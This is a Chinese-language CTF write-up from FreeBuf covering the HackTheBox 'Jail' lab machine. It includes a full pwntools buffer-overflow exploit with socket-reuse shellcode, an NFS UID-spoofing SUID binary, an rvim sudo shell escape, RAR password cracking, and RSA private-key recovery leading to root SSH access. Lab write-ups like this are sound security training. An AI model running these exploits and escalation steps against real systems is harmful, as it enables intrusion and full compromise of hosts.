freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Insane] Jail BOF+Socket Re-Use+NFS UI...
2024-09-14 11:30:07

概要

总的来说这个靶机局限性很强,流量出入口只能是22,2049,7411。无法在靶机建立反向shell到kali(root用户防火墙过滤策略)。你需要通过这个极其狭小的空间进行权限提升。

信息收集

IP AddressOpening Ports
10.10.10.34TCP:22,80,2049,7411

$ nmap -p- 10.10.10.34 --min-rate 1000 -sC -sV

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
|   256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
|_  256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (ED25519)
80/tcp   open  http       Apache httpd 2.4.6 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
111/tcp  open  rpcbind    2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
2049/tcp open  nfs        3-4 (RPC #100003)
7411/tcp open  daqstream?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|_    OK Ready. Send USER command.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port7411-TCP:V=7.94SVN%I=7%D=9/11%Time=66E1500E%P=x86_64-pc-linux-gnu%r
SF:(NULL,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GenericLines
SF:,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GetRequest,1D,"OK
SF:\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(HTTPOptions,1D,"OK\x20Re
SF:ady\.\x20Send\x20USER\x20command\.\n")%r(RTSPRequest,1D,"OK\x20Ready\.\
SF:x20Send\x20USER\x20command\.\n")%r(RPCCheck,1D,"OK\x20Ready\.\x20Send\x
SF:20USER\x20command\.\n")%r(DNSVersionBindReqTCP,1D,"OK\x20Ready\.\x20Sen
SF:d\x20USER\x20command\.\n")%r(DNSStatusRequestTCP,1D,"OK\x20Ready\.\x20S
SF:end\x20USER\x20command\.\n")%r(Help,1D,"OK\x20Ready\.\x20Send\x20USER\x
SF:20command\.\n")%r(SSLSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20co
SF:mmand\.\n")%r(TerminalServerCookie,1D,"OK\x20Ready\.\x20Send\x20USER\x2
SF:0command\.\n")%r(TLSSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20com
SF:mand\.\n")%r(Kerberos,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n"
SF:)%r(SMBProgNeg,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(X11
SF:Probe,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(FourOhFourRe
SF:quest,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LPDString,1D
SF:,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPSearchReq,1D,"OK
SF:\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPBindReq,1D,"OK\x20Re
SF:ady\.\x20Send\x20USER\x20command\.\n")%r(SIPOptions,1D,"OK\x20Ready\.\x
SF:20Send\x20USER\x20command\.\n")%r(LANDesk-RC,1D,"OK\x20Ready\.\x20Send\
SF:x20USER\x20command\.\n")%r(TerminalServer,1D,"OK\x20Ready\.\x20Send\x20
SF:USER\x20command\.\n")%r(NCP,1D,"OK\x20Ready\.\x20Send\x20USER\x20comman
SF:d\.\n")%r(NotesRPC,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r
SF:(JavaRMI,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(WMSReques
SF:t,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(oracle-tns,1D,"O
SF:K\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(ms-sql-s,1D,"OK\x20Read
SF:y\.\x20Send\x20USER\x20command\.\n")%r(afp,1D,"OK\x20Ready\.\x20Send\x2
SF:0USER\x20command\.\n")%r(giop,1D,"OK\x20Ready\.\x20Send\x20USER\x20comm
SF:and\.\n");

HTTP

http://10.10.10.34/

image.png

NFS (2049)

$ showmount -e 10.10.10.34

image-1.png

$ sudo mkdir -p /mnt/10.10.10.34/opt

$ sudo mkdir -p /mnt/10.10.10.34/var/nfsshare

$ sudo mount -t nfs 10.10.10.34:/opt /mnt/10.10.10.34/opt

$ sudo mount -t nfs 10.10.10.34:/var/nfsshare /mnt/10.10.10.34/var/nfsshare

image-2.png

NSFS中存在命令:/bin/cat /home/frank/logs/checkproc.log

目前确认了存在frank用户

Shell as nobdy && BOF

image-3.png

http://10.10.10.34/jailuser/

image-4.png

http://10.10.10.34/jailuser/dev/

image-5.png

image-6.png

在compile.sh中,编译时使用了命令gcc -o jail jail.c -m32 -z execstack
这意味着数据执行保护(DEP)被禁用,可以将Shellcode写入。

jail.c这个程序是一个简单的服务器应用,接受客户端的连接,并处理一些基本的命令。以下是程序的主要功能和流程分析:

  1. 建立服务器套接字:

    • 使用 socket()函数创建一个套接字,用于监听传入的连接。

    • 通过 setsockopt()设置 SO_REUSEADDR选项,以便服务器可以快速重启而不受端口占用的影响。

    • 将套接字绑定到 7411端口并使用 listen()函数监听连接,允许最多200个待处理的连接。

  2. 处理客户端连接:

    • 通过 accept()函数接受传入的连接。

    • 每当接受一个新的连接时,使用 fork()创建一个新的进程,以便可以并发处理多个客户端连接。

  3. 处理客户端命令:

    • 客户端需要先发送 USER命令和 PASS命令,分别提供用户名和密码。

    • 程序通过 auth()函数验证用户名和密码。如果用户名是 admin且密码是 1974jailbreak!,则认证成功,否则失败。

    • 认证成功后,客户端可以发送 OPENCLOSE命令,分别表示打开或关闭监狱的门(从功能上看,这只是一个文字输出)。

  4. 调试模式:

    • 客户端可以通过发送 DEBUG命令切换调试模式。当调试模式打开时,程序会打印出一些调试信息,例如 userpass缓冲区的内存地址。

关键点分析:

  1. 认证过程:

    • auth()函数首先检查用户名是否为 admin,然后将传入的密码复制到 userpass缓冲区。如果密码匹配 1974jailbreak!,认证成功。

  2. 缓冲区溢出风险:

    • auth()函数中使用 strcpy()将用户传入的密码复制到 userpass缓冲区,而 userpass缓冲区只有16个字符的空间,可能导致缓冲区溢出风险(如果输入的密码长度超过16字符)。

  3. 命令解析:

    • handle()函数中,服务器通过循环读取客户端发送的数据,并使用 strtok()函数解析命令。服务器支持 USERPASSDEBUGOPENCLOSE命令。

  4. 多进程处理:

    • 服务器通过 fork()创建新进程来处理每个客户端的连接。主进程继续监听新的连接,而子进程处理当前连接。这种方法可以并发处理多个客户端连接,但也会增加系统负载。

image-7.png

$ gdb -q ./jail

gdb-peda$ set follow-fork-mode child

应该跟踪和调试子进程而不是父进程。默认情况下,GDB 会继续调试父进程,但通过设置 follow-fork-mode 为 child,GDB 会在 fork() 之后自动切换到子进程,允许你调试子进程的执行过程。

gdb-peda$ set detach-on-fork off

控制 GDB 在 fork() 发生时是否分离(detach)未被跟踪的进程。默认情况下,GDB 会在跟踪一个进程时分离另一个进程。但设置 detach-on-fork 为 off 后,GDB 不会分离未跟踪的进程。这意味着在 fork() 之后,GDB 会同时保留对父进程和子进程的控制,即使它只跟踪其中一个。这样你可以在调试过程中随时切换调试父进程或子进程。

gdb-peda$ r

gdb-peda$ pattern_create 40

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa

image-8.png

0x413b4141

gdb-peda$ pattern_offset AA;A

AA;A found at offset: 28

得知缓冲区大小为28

结束进程重启

$ sudo kill -9 $(sudo lsof -t -i:7411)

image-9.png

image-10.png
image-24.png

https://www.exploit-db.com/exploits/34060

Socket Re-Use Shellcode 的工作原理
利用开放的 Socket: 攻击者可能会利用目标系统上已经存在的开放 socket,避免创建新的连接。这个过程可能涉及到重用现有的网络连接来执行恶意操作。

绕过防护: 这种技术可以绕过一些网络安全机制,因为攻击者可以利用合法的连接通道来传输恶意数据,而不是直接发起新的、可能被检测到的连接。

注入 Shellcode: 在目标系统中,攻击者可能会通过某种方式(如漏洞利用)将 shellcode 注入到已经存在的网络连接中。这段 shellcode 可以在目标系统上执行各种命令,如启动反向 shell、执行数据盗取等。

#!/usr/bin/env python3

from pwn import *
import os
 

if args['REMOTE']:
    ip = '10.10.10.34'
else:
    ip = '127.0.0.1'

def get_userpass_address(ip):
    p = remote(ip, 7411)
    p.recvuntil(b"OK Ready. Send USER command.")
    p.sendline(b"USER admin")
    p.recvuntil(b"OK Send PASS command.")
    p.sendline(b"DEBUG")
    p.recvuntil(b"OK DEBUG mode on.")
    p.sendline(b"PASS admin")
    p.recvuntil(b"Debug: userpass buffer @ ")
    userpass_addr = int(p.recvline(), 16)
    log.info(f"Got leak of userpass from server: 0x{userpass_addr:08x}")
    p.close()
    return userpass_addr

def rce(ip,userpass_addr):
    if ip == '127.0.0.1':
        log.info("Ending the process on port 7411")
        os.system('sudo kill -9 $(sudo lsof -t -i:7411)')
        input(log.info("Manually confirm whether the service is started... Enter to confirm continue..."))
    shellcode =  b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
    shellcode += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
    shellcode += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
    shellcode += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    shellcode += b"\x89\xe3\x31\xc9\xcd\x80";
    # 缓冲区溢出28字节,userpass_addr获取的是密码输入的地址,所以需要28+4=32字节位置,覆盖EIP
    payload = b"A"*28+ p32(userpass_addr + 32)+shellcode
    p = remote(ip, 7411)
    p.recvuntil(b"OK Ready. Send USER command.")
    p.sendline(b"USER admin")
    p.recvuntil(b"OK Send PASS command.")
    p.sendline(b"PASS " + payload)

    p.interactive()
if __name__ == '__main__':
    rce(ip,get_userpass_address(ip))

$ python3 exp.py

image-11.png

接下来测试靶机

$ python3 exp.py REMOTE

image-12.png

$ script /dev/null -c bash

这个主机似乎无法网络访问到我们的主机

bash-4.2$ $ sudo -l

image-15.png

image-16.png

image-17.png

nobody -> frank

bash-4.2$ $ cat /etc/exports

image-18.png

  1. /var/nfsshare *(rw,sync,root_squash,no_all_squash)

  • /var/nfsshare:这是要共享的目录路径。

  • *:表示任何主机都可以访问这个共享目录。你可以用特定的 IP 地址、主机名或网络地址来限制访问范围,例如 192.168.1.0/24只允许同一网络中的主机访问。

  • rw:表示共享目录是可读写的。客户端可以对这个目录进行读写操作。

  • sync:表示所有的写操作在返回给客户端之前必须被写入磁盘。确保数据的完整性和一致性,但可能会影响性能。

  • root_squash:表示将客户端的 root 用户映射到匿名用户(通常是 nobody)。这有助于防止客户端 root 用户对 NFS 服务器上的文件进行不必要的修改或访问。

  • no_all_squash:表示不将所有用户映射到匿名用户。通常与 root_squash一起使用时,no_all_squash允许除 root 外的其他用户进行特定的操作,但要谨慎使用,以避免权限问题。

  1. /opt *(rw,sync,root_squash,no_all_squash)

  • /opt:这是要共享的目录路径。

  • *:同样表示任何主机都可以访问这个共享目录。

  • rw:表示共享目录是可读写的。

  • sync:表示所有的写操作必须被写入磁盘后才能返回给客户端。

  • root_squash:同样表示将客户端的 root 用户映射到匿名用户。

  • no_all_squash:同样表示不将所有用户映射到匿名用户。

  1. 共享目录/var/nfsshare/opt是被共享的目录路径。

  2. 访问权限rw表示共享目录是可读写的。

  3. 同步sync确保数据在写操作完成之前被写入磁盘。

  4. 用户映射

    • root_squash:客户端的 root 用户被映射为匿名用户,防止高权限操作。

    • no_all_squash:允许非 root 用户的访问权限,避免所有用户都被映射为匿名用户。

root_squash

假设你有一个 NFS 服务器,目录 /shared 被配置为 root_squash。
客户端机器上的用户 root 访问 /shared 目录。
在服务器上,客户端的 root 用户会被映射为 nobody,所以它在 /shared 目录上只能执行普通用户的操作,而不能进行 root 权限操作。

no_all_squash

假设你有一个 NFS 服务器,目录 /shared 被配置为 no_all_squash 和 root_squash。
客户端机器上的用户 john 访问 /shared 目录,john 会保持他自己的权限(即 john 在 NFS 服务器上的文件系统中会以 john 身份访问文件)。
但是,客户端的 root 用户会被映射到服务器上的 nobody 用户,因此,root 用户在 /shared 目录上仍然不能执行特权操作。

NFS UID Bypass

image-19.png

$ sudo useradd -u 1000 frank

$ sudo passwd frank

$ su - frank

# Dockerfile
FROM centos:7

RUN mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak && \
    curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo && \
    yum clean all && yum makecache

RUN yum groupinstall "Development Tools" -y && \
    yum install -y glibc glibc-devel

WORKDIR /workspace

CMD ["/bin/bash"]

由于2024=kali与该利用脚本编译依赖存在问题,所以我花了一些时间写了另一种Docker编译方法

# docker build -t gcc-centos7 .

# docker run -it -v /tmp:/tmp gcc-centos7

/*exp.c*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setresuid(1000, 1000, 1000);
    system("/bin/bash");
    return 0;
}

/tmp # gcc exp.c -o exp

$ mv /tmp/exp /mnt/10.10.10.34/var/nfsshare/exp

$ chmod 4777 /mnt/10.10.10.34/var/nfsshare/exp

$ /var/nfsshare/exp

image-27.png

$ ssh -i ~/.ssh/id_ed25519 frank@10.10.10.34

image-28.png

User.txt

2d0d80533b2be30f826fccd8b77db4a3

权限提升

Frank -> ADM (rvim 权限提升)

image-29.png

$ sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

:py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")

image-30.png

image-31.png

image-32.png

ADM -> Root ( Atbash cipher)

image-34.png

/var/adm/.keys/keys.rar需要密码

而/var/adm/.keys/.local/.frank反馈一串密文

Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

https://www.quipqiup.com/

image-35.png

哈哈哈!没有人会猜到我的新密码!只有少数幸运的灵魂像我一样从恶魔岛活着逃出来!

字典生成 && 压缩包破译

https://www.fbi.gov/history/famous-cases/alcatraz-escape

考虑到该靶机涉及到主题监狱,并且提示恶魔岛,通过Google关键词找到美国FBI关于frank等人越狱公告

image-36.png

$ hashcat --stdout -a 3 Morris?d?d?d?d?s > /tmp/frank-passwords

(adm)sh-4.2$ cp /var/adm/.keys/keys.rar /tmp

(adm)sh-4.2$ chmod 777 /tmp/keys.rar

$ scp -i ~/.ssh/id_ed25519 frank@10.10.10.34:/tmp/keys.rar .

$ rar2john keys.rar >keys.hash

$ hashcat keys.hash frank-passwords --user --potfile-disable

$RAR3$*1*723eaa0f90898667*eeb44b5b*384*451*1*a4ef3a3b7fab5f8ea48bd08c77bfaa082d3da7dc432f9805f1683073b9992bdc24893a6f5cee2f9a6339d1b6ab155262e798c3de5f49f2f6abe623026fcf8bae99f67bbf6b5c52b392d049d9edff7122d46514afdf7710164dbef5be373c30e3503e8843a1556e373bdaccbaffc6ccbbb93c318b49585447b0b4f02178b464caddfefc9d545abbbd08943d86edec7d12b1c5d8e1cac47fd6a79fd890ca5e95d37e2d96e319f5543a0e6917939dde9126dbdff0a4e7fd616fdaa3d91a414143535bbd1f4086c35e370ea7ea8a7ab97c71fa43768ec90d165b98906e61de7380510048a1eb7b0deca6a43f819acd3ba9bf56f23f6546ba0d39aa860b8760a0bcdfc73d273cc3996e7675a7ae3cc66d753cf6074127cf9781755d972dba1fc7a640de7218728e8324cbd4f4dc4e7da2e09d38ff256455020523a0481051d732583116a03621f8045b01f1beab2a91845f2e8e052a61635b5d8f05c4cb2b4cf75c586cfcdf8f0e66c3161fd352e52f3f29e2281995356217e93ffeaca388a15829d6*33:Morris1962!

image-37.png

许多人通过猜测来解决这个问题,因为1962年是frank逃跑的那一年

$ unrar e keys.rar

image-38.png

$ cat rootauthorizedsshkey.pub

image-39.png

通过RSA公钥破解RSA私钥

https://github.com/Ganapati/RsaCtfTool

RsaCtfTool 是一个用来破解 RSA 密钥的工具,特别是在 CTF(Capture The Flag)竞赛中用于解决与 RSA 相关的挑战。它提供了多种技术来尝试从公钥或加密数据中恢复私钥。以下是一些 RsaCtfTool 可能使用的技术和方法,以及它们为何可以从公钥信息中恢复私钥:

1. 共因子攻击(Common Modulus Attack)

当你知道两个密钥使用相同的模数(n),但它们有不同的公钥指数(e),你可以利用共因子攻击恢复私钥。这种攻击利用了模数的共因性,具体来说,当两个密钥的 e值相互不同但模数相同,这可能导致通过求解模数的最大公因子(GCD)来找到私钥。

2. 低加密指数攻击(Low Encryption Exponent Attack)

如果加密指数 e很小(比如 3),且消息是一个足够小的整数或加密时没有进行填充,这种情况可能会暴露私钥。RsaCtfTool 可能会使用这一技术来恢复私钥。

3. 部分键暴露(Partial Key Exposure)

如果公钥 e和模数 n已知,但私钥的某些部分被暴露(例如私钥的某些比特位),可以使用这些信息来恢复完整的私钥。这种攻击通常需要复杂的数学工具和算法。

4. 平衡攻击(Balanced Attack)

平衡攻击是一种利用 RSA 密钥的数学特性来恢复密钥的方法。当密钥的某些部分可以通过不同的数学方法恢复时,RsaCtfTool 可能会尝试这种方法。

5. 使用工具的漏洞(Tool Vulnerabilities)

有时候,RsaCtfTool 也会利用工具本身的漏洞来破解密钥。例如,某些工具可能在实现上存在漏洞,使得通过特定的攻击方式可以恢复密钥。

$ python3 RsaCtfTool.py --publickey /tmp/rootauthorizedsshkey.pub --private

image-40.png

$ chmod 600 /tmp/root

$ ssh -i /tmp/root -o PubkeyAcceptedKeyTypes=+ssh-rsa root@10.10.10.34

image-41.png

Root.txt

30fd6a8dc1495368c14730c14a2ea9ab

# web安全 # 系统安全 # 数据安全 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录